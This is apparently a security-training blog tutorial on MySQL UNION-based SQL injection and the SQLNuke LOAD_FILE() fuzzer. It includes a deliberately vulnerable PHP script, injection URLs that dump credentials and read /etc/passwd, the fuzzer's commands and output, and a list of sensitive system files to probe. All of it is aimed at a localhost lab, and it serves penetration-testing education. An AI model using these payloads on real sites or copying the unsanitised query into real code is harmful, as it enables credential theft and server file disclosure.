Hacking

SQLNuke - Simple but fast MySQL Injection load_file() Fuzzer

Jay Turla
March 27, 2013 by
Jay Turla

New SQL Injection Lab!

Skillset Labs walk you through infosec tutorials, step-by-step, with over 30 hands-on penetration testing labs available for FREE!

FREE SQL Injection Labs

Skillset Labs

In SQL (Structured Query Language) Injection, there are many kinds of techniques that are partnered with UNION SELECT statements like LOAD_FILE(), INTO OUTFILE(), INFORMATION_SCHEMA, Char(), CAST(), and LIMIT. Most attackers usually take advantage of the union statements, information_schema, and the order by statements but neglecting some of the techniques just for the sake of getting the usernames and the passwords of the website administrator, just like the example below:

Earn two pentesting certifications at once!

Earn two pentesting certifications at once!

Enroll in one boot camp to earn both your Certified Ethical Hacker (CEH) and CompTIA PenTest+ certifications — backed with an Exam Pass Guarantee.

http://localhost/sqlnuke.php?id=-1+union+select+1,concat(username,0x3a,password),3,4%20from%20accounts

Below is the sample code I wrote and used for this article:

[php]

<?php

// Jay Turla made this script vulnerable on purpose :p

$id = $_GET["id"];

// Open a Connection to the MySQL Server

$con = mysql_connect("localhost", "username", "password");

if (!$con)

{

die('Could not connect to the MySQL Server :( ' . mysql_error());

}

//Set Database

mysql_select_db("database_name", $con);

// SQL Query

$sql= "SELECT * FROM table_name where id_number = $id";

echo "<h2>I am Vulnerable to SQL Injection :)</h2><br /> ";

$res = mysql_query($sql);

while($row = mysql_fetch_array($res))

{

echo "<strong>Username:</strong> " . $row['username'] . "<br />";

echo "<strong>Password:</strong> " . $row['password'] . "<br />";

echo "<strong>Signature:</strong> " . $row['mysignature'] . "<br />";

echo "<br />";

}

// Close a Connection

mysql_close($con);

?>

[/php]

Now, let's get to the point! In this article, let's discuss the possible things we can do using the MySQL LOAD_FILE() function and a new tool called SQLNuke.

According to w3resource, "The MySQL LOAD_FILE() reads the file and returns the file contents as a string."

To use this function, the file must be located on the host server, user must specify the full path name of the file, and user must have the FILE privilege. The file must be readable and size must be less than max_allowed_packet (set in the my.ini file) bytes. It returns NULL if the file does not exist or can't be read."

The syntax for this should be something like:

http://localhost/sqlnuke.php?id=1+union+select+1,load_file('file_name/path_name'),3,4

Wait! A path name? Yes, you read that right! In that case, it's possible that an attacker could do a directory traversal just like the Local File Inclusion (LFI) web attack. Suppose we found out the number of columns, then we should be able to execute the union select query together with the LOAD_FILE() function to achieve the attack vector. This is a kind of technique used to gather some information on the server, like concatenating the /etc/passwd, /etc/hosts, /etc/shadow and other error log files.

Example:

http://localhost/sqlnuke.php?id=1+union+select+1,load_file('/etc/passwd'),3,4

It takes a lot of time to guess the files of the server and put the path name inside the load_file() function but with SQLNuke, you speed up these problems and save more time.

SQLNuke is a free and open source MySQL Injection load_file() Fuzzer written in object oriented Ruby version 1.8.7 and coded by a security researcher who goes by the handle 'nuke99'. It is very simple to use and easy to understand.

Installation and basic usage

To install SQLNuke, clone the SQLNuke repository to your local system with git clone https://github.com/nuke99/sqlnuke.git. Make sure that you have also installed git in order to clone SQLnuke, and Ruby in order to run it, because it is written in Ruby. If you don't have git and Ruby, you can install these two packages by using the commands below if you are using a Debian based distro like Ubuntu, BackTrack, BackBox or Linux:

sudo apt-get install git-core

sudo apt-get install ruby

To get started with SQLNuke, go into the SQLNuke directory with cd sqlnuke and launch it with the command ./sql.rb.

Command Usage

Now let's try and hit http://localhost/sqlnuke.php?id=1+union+select+1,2,3,4 as our target. We change 2 in our target link with XxxX so that it will be overwritten with the load_file() function:

[plain]

root@bt:~/sqlnuke# ./sql.rb -u 'http://localhost/sqlnuke.php?id=1+union+select+1,XxxX,3,4'

[!] localhost folder already exists

[!] No OS selected, Continue with all the possibilities

[200] - [Success] /etc/passwd

[200] - [Failed] /etc/shadow

[200] - [Success] /etc/group

[200] - [Success] /etc/hosts

[200] - [Failed] /etc/apache2/logs/access.log

[200] - [Failed] /etc/httpd/access.log

[200] - [Failed] /etc/init.d/apache/httpd.conf

[200] - [Failed] /etc/init.d/apache2/httpd.conf

[200] - [Failed] /usr/local/apache2/conf/httpd.conf

[200] - [Failed] /usr/local/apache/conf/httpd.conf

[200] - [Failed] /home/apache/httpd.conf

[200] - [Failed] /home/apache/conf/httpd.conf

[200] - [Failed] /opt/apache/conf/httpd.conf

[200] - [Failed] /etc/httpd/httpd.conf

[200] - [Failed] /etc/httpd/conf/httpd.conf

[200] - [Failed] /etc/apache/apache.conf

[200] - [Failed] /etc/apache/httpd.conf

[200] - [Success] /etc/apache2/apache2.conf

[200] - [Success] /etc/apache2/httpd.conf

[200] - [Success] /etc/apache2/sites-available/default

[200] - [Failed] /etc/apache2/vhosts.d/default_vhost.include

[200] - [Failed] /var/www/vhosts/sitename/httpdocs//etc/init.d/apache

[200] - [Failed] C:/wamp/bin/apache/logs/access.log

[200] - [Failed] C:/wamp/bin/mysql/mysql5.5.24/wampserver.conf

[200] - [Failed] C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf

[200] - [Failed] C:/wamp/bin/apache/apache2.2.22/conf/wampserver.conf

[200] - [Failed] C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build

[+] Saved files are in 'output/localhost'

[/plain]

As you can see in the output after running the script, it fuzzes known system information, log files and configurations for Linux and Windows. You can also use ./sql.rb -u 'http://localhost/sqlnuke.php?id=1+union+select+1,XxxX,3,4' --os linux

if the web server runs on LAMP (Linux Apache MySQL PHP/Perl/Python) so that you don't need to fuzz on files like C:/wamp/bin/apache/logs/access.log, C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf, C:/wamp/bin/apache/apache2.2.22/conf/wampserver.conf, and C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build, which is basically for Windows that runs on a WAMP server.

Files that can be looked up using the load_file() function are stored on the output/target_name directory. For example:

[plain]

root@bt:~/sqlnuke# cd output/localhost

root@bt:~/sqlnuke/output/localhost# ls

_etc_apache2_apache2.conf _etc_apache2_sites-available_default _etc_hosts

_etc_apache2_httpd.conf _etc_group _etc_passwd

root@bt:~/sqlnuke/output/localhost# cat _etc_hosts

127.0.0.1 localhost

127.0.1.1 bt.foo.org bt

# The following lines are desirable for IPv6 capable hosts

::1 localhost ip6-localhost ip6-loopback

fe00::0 ip6-localnet

ff00::0 ip6-mcastprefix

ff02::1 ip6-allnodes

ff02::2 ip6-allrouters

ff02::3 ip6-allhosts

[/plain]

There are other known system files, configurations, and log information that need to be looked up if you want to add more files that needs to be fuzzed. To do so, you can edit the inputs/packset.lst file under the main directory of SQLNuke. As of now these are the files that are included in packset.lst:

[plain]

:linux:

- /etc/passwd

- /etc/shadow

- /etc/group

- /etc/hosts

- /etc/apache2/logs/access.log

- /etc/httpd/access.log

- /etc/init.d/apache/httpd.conf

- /etc/init.d/apache/httpd.conf

- /etc/init.d/apache2/httpd.conf

- /usr/local/apache2/conf/httpd.conf

- /usr/local/apache/conf/httpd.conf

- /home/apache/httpd.conf

- /home/apache/conf/httpd.conf

- /opt/apache/conf/httpd.conf

- /etc/httpd/httpd.conf

- /etc/httpd/conf/httpd.conf

- /etc/apache/apache.conf

- /etc/apache/httpd.conf

- /etc/apache2/apache2.conf

- /etc/apache2/httpd.conf

- /usr/local/apache2/conf/httpd.conf

- /usr/local/apache/conf/httpd.conf

- /opt/apache/conf/httpd.conf

- /home/apache/httpd.conf

- /home/apache/conf/httpd.conf

- /etc/apache2/sites-available/default

- /etc/apache2/vhosts.d/default_vhost.include

- /var/www/vhosts/sitename/httpdocs//etc/init.d/apache

:win:

- C:/wamp/bin/apache/logs/access.log

- C:/wamp/bin/mysql/mysql5.5.24/wampserver.conf

- C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf

- C:/wamp/bin/apache/apache2.2.22/conf/wampserver.conf

- C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build

- C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build

[/plain]

Now let's try adding /etc/tsocks.conf and /etc/pnm2ppa.conf after the line '/var/www/vhosts/sitename/httpdocs//etc/init.d/apache' and before the line ':win:', then launch SQLNuke with our current target:

[plain]

root@bt:~/sqlnuke# ./sql.rb -u 'http://localhost/sqlnuke.php?id=1+union+select+1,XxxX,3,4' --os linux

[!] localhost folder already exists

[!] Selected OS linux

[200] - [Success] /etc/passwd

[200] - [Failed] /etc/shadow

[200] - [Success] /etc/group

[200] - [Success] /etc/hosts

[200] - [Failed] /etc/apache2/logs/access.log

[200] - [Failed] /etc/httpd/access.log

[200] - [Failed] /etc/init.d/apache/httpd.conf

[200] - [Failed] /etc/init.d/apache2/httpd.conf

[200] - [Failed] /usr/local/apache2/conf/httpd.conf

[200] - [Failed] /usr/local/apache/conf/httpd.conf

[200] - [Failed] /home/apache/httpd.conf

[200] - [Failed] /home/apache/conf/httpd.conf

[200] - [Failed] /opt/apache/conf/httpd.conf

[200] - [Failed] /etc/httpd/httpd.conf

[200] - [Failed] /etc/httpd/conf/httpd.conf

[200] - [Failed] /etc/apache/apache.conf

[200] - [Failed] /etc/apache/httpd.conf

[200] - [Success] /etc/apache2/apache2.conf

[200] - [Success] /etc/apache2/httpd.conf

[200] - [Success] /etc/apache2/sites-available/default

[200] - [Failed] /etc/apache2/vhosts.d/default_vhost.include

[200] - [Failed] /var/www/vhosts/sitename/httpdocs//etc/init.d/apache

[200] - [Success] /etc/tsocks.conf

[200] - [Success] /etc/pnm2ppa.conf

[/plain]

Success! The files /etc/tsocks.conf and /etc/pnm2ppa.conf have just been fuzzed and can be looked up using the load_file() function. Cool, right?

Conclusion

With SQLNuke, it is easier for us to look up the internal common files by using a list file which can be found under inputs/packset.lst. It is also easy to use - it fuzzes known files faster and stores the files that were found on the output directory so that you don't need to type them on the browser. Great tool indeed! Thank you nuke99 for your contribution to the penetration testing community! I also hope to see this project mature and grow.

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

Sources

 

Jay Turla
Jay Turla

Jay Turla is a security consultant. He is interested in Linux, OpenVMS, penetration testing, tools development and vulnerability assessment. He is one of the goons of ROOTCON (Philippine Hackers Conference). You can follow his tweets @shipcod3.